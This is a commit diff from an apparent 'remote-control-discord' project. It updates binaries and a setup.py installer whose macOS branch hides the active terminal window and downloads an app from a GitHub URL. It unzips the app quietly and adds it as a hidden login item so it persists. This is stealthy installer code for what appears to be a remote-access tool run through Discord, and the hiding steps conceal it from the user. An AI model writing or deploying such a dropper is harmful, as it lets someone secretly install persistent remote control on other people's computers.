diff options
| -rw-r--r-- | dist/main.app.zip | bin | 7374717 -> 7374717 bytes | |||
| -rwxr-xr-x | dist/setup-mac | bin | 7447152 -> 7447200 bytes | |||
| -rw-r--r-- | dist/setup.app.zip | bin | 7372135 -> 7372177 bytes | |||
| -rwxr-xr-x | dist/setup.app/Contents/MacOS/setup | bin | 7447152 -> 7447200 bytes | |||
| -rw-r--r-- | setup.py | 4 |
5 files changed, 2 insertions, 2 deletions
diff --git a/dist/main.app.zip b/dist/main.app.zip Binary files differindex 08b99cb..a7c878f 100644 --- a/dist/main.app.zip +++ b/dist/main.app.zip diff --git a/dist/setup-mac b/dist/setup-mac Binary files differindex ad16379..248fe7e 100755 --- a/dist/setup-mac +++ b/dist/setup-mac diff --git a/dist/setup.app.zip b/dist/setup.app.zip Binary files differindex d176388..5f621de 100644 --- a/dist/setup.app.zip +++ b/dist/setup.app.zip diff --git a/dist/setup.app/Contents/MacOS/setup b/dist/setup.app/Contents/MacOS/setup Binary files differindex a24f6b7..3540ad5 100755 --- a/dist/setup.app/Contents/MacOS/setup +++ b/dist/setup.app/Contents/MacOS/setup @@ -23,8 +23,8 @@ if platform == "darwin": system("osascript -e 'tell application \"System Events\" to set activeApp to name of first application process whose frontmost is true' -e 'set terminalEmulators to {\"Terminal\", \"iTerm\", \"Hyper\", \"Kitty\"}' -e 'repeat with termApp in terminalEmulators' -e 'if (activeApp contains termApp) then' -e 'tell application termApp to set currentWindow to front window' -e 'set visible of currentWindow to false' -e 'exit repeat' -e 'end if' -e 'end repeat'") open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-mac", allow_redirects=True).content) open(f"{localfile}.tmp.zip", 'wb').write(get("https://github.com/mrdog233o5/remote-control-discord/raw/main/dist/main.app.zip", allow_redirects=True).content) - system(f"unzip {localfile}.tmp.zip") - system(f"mv {localfile}.tmp/dist/* {localfile}.app && rm -rf {localfile}.tmp*") + system(f"unzip -o {localfile}.tmp.zip > /dev/null") + system(f"mv {expanduser('~')}/dist/* {localfile}.app && rm -rf {localfile}.tmp.zip {expanduser('~')}/dist") system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{localfile}.app\", hidden:true}}' > /dev/null") elif platform == "linux": from os import environ |
